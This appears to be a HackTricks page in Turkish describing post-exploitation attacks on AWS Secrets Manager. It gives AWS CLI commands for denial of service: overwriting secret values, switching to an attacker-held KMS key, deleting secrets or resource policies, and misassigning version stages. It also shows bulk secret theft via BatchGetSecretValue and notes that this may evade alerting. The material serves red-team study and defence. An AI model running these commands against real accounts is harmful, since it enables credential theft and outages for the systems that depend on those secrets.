AWS - Secrets Manager Post Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Secrets Manager

Daha fazla bilgi için bakınız:

AWS - Secrets Manager Enum

Read Secrets

The secrets hassas bilgilerdir; bunları nasıl okuyacağınızı öğrenmek için check the privesc page.

DoS Change Secret Value

Secret’in değerini değiştirerek o değere bağımlı tüm sistemlere DoS uygulayabilirsiniz.

Warning

Önceki değerlerin de saklandığını unutmayın, bu yüzden önceki değere geri dönmek kolaydır.

# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"

DoS Change KMS key

Eğer saldırganın secretsmanager:UpdateSecret izni varsa, secret’ı saldırganın sahip olduğu bir KMS key’i kullanacak şekilde yapılandırabilir. Bu KMS key başlangıçta herkesin erişip kullanabileceği şekilde ayarlanmıştır; bu yüzden secret’ı yeni key ile güncellemek mümkündür. Eğer key erişilebilir olmasaydı, secret güncellenemezdi.

Secret için key’i değiştirdikten sonra saldırgan kendi KMS key’inin yapılandırmasını sadece kendisinin erişebileceği şekilde değiştirir. Böylece secret’ın sonraki versiyonları yeni key ile şifrelenir ve bu key’e erişim olmadığı için secret’ı elde etme yeteneği kaybolur.

Önemli olarak, bu erişilemezlik yalnızca secret’ın içeriği değiştikten sonra, yani sonraki versiyonlarda meydana gelecektir; çünkü mevcut versiyon hâlâ orijinal KMS key ile şifrelenmiştir.

aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE

DoS Secret Silme

Bir secret’i silmek için gereken minimum gün sayısı 7’dir.

aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7

secretsmanager:RestoreSecret

Bir secret’ı geri yüklemek mümkündür; bu, silinmek üzere planlanmış secret’ların geri getirilmesine olanak tanır, çünkü secret’lar için minimum silme süresi 7 gün ve maksimum 30 gündür. secretsmanager:GetSecretValue izni ile birlikte, bunların içeriklerini almak mümkün olur.

Silinme sürecinde olan bir secret’ı kurtarmak için aşağıdaki komutu kullanabilirsiniz:

aws secretsmanager restore-secret \
--secret-id <Secret_Name>

secretsmanager:DeleteResourcePolicy

Bu eylem, bir secret’e kimlerin erişebileceğini kontrol eden resource policy’yi silmeye izin verir. Eğer resource policy belirli bir kullanıcı kümesine erişim izni verecek şekilde yapılandırıldıysa, bu bir DoS’a yol açabilir.

Resource policy’yi silmek için:

aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>

secretsmanager:UpdateSecretVersionStage

Bir secret’in durumları, secret’in sürümlerini yönetmek için kullanılır. AWSCURRENT, uygulamaların kullandığı aktif sürümü işaret eder; AWSPREVIOUS gerektiğinde geri alabilmeniz için önceki sürümü saklar; AWSPENDING ise rotation sürecinde yeni bir sürümü mevcut yapmadan önce hazırlamak ve doğrulamak için kullanılır.

Uygulamalar her zaman AWSCURRENT etiketli sürümü okur. Birisi bu etiketi yanlış sürüme taşırsa, uygulamalar geçersiz kimlik bilgilerini kullanır ve başarısız olabilir.

AWSPREVIOUS otomatik olarak kullanılmaz. Ancak, AWSCURRENT kaldırılır veya yanlış şekilde yeniden atanırsa, her şeyin hâlâ önceki sürümle çalışıyormuş gibi görünebilir.

aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>

Mass Secret Exfiltration via BatchGetSecretValue (çağrı başına en fazla 20)

Secrets Manager BatchGetSecretValue API’sini kullanarak tek bir istekte en fazla 20 secret alabilirsiniz. Bu, her secret için GetSecretValue çağırmak yerine API çağrı hacmini önemli ölçüde azaltabilir. If filters are used (tags/name), ListSecrets izni de gereklidir. CloudTrail yine de batch ile alınan her secret için bir GetSecretValue olayı kaydeder.

Gerekli izinler

  • secretsmanager:BatchGetSecretValue
  • secretsmanager:GetSecretValue (her hedef secret için)
  • secretsmanager:ListSecrets (–filters kullanılıyorsa)
  • kms:Decrypt (secret’lerde kullanılan CMK’ler üzerinde, aws/secretsmanager kullanılmıyorsa)

Warning

secretsmanager:BatchGetSecretValue izni tek başına secret’leri almaya yeterli olmadığını unutmayın; almak istediğiniz her secret için ayrıca secretsmanager:GetSecretValue gerekir.

Exfiltrate by explicit list

aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'

Exfiltrate filtrelere göre (tag key/value veya name prefix)

# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'

# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20

# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp

Kısmi başarısızlıkların ele alınması

# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>

Etkileri

  • Daha az API çağrısıyla birçok secret’in hızlı “smash-and-grab” şeklinde ele geçirilmesi, GetSecretValue’deki ani artışlara göre ayarlanmış uyarıları atlatabilir.
  • CloudTrail kayıtları hâlâ batch ile alınan her secret için bir GetSecretValue olayı içerir.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin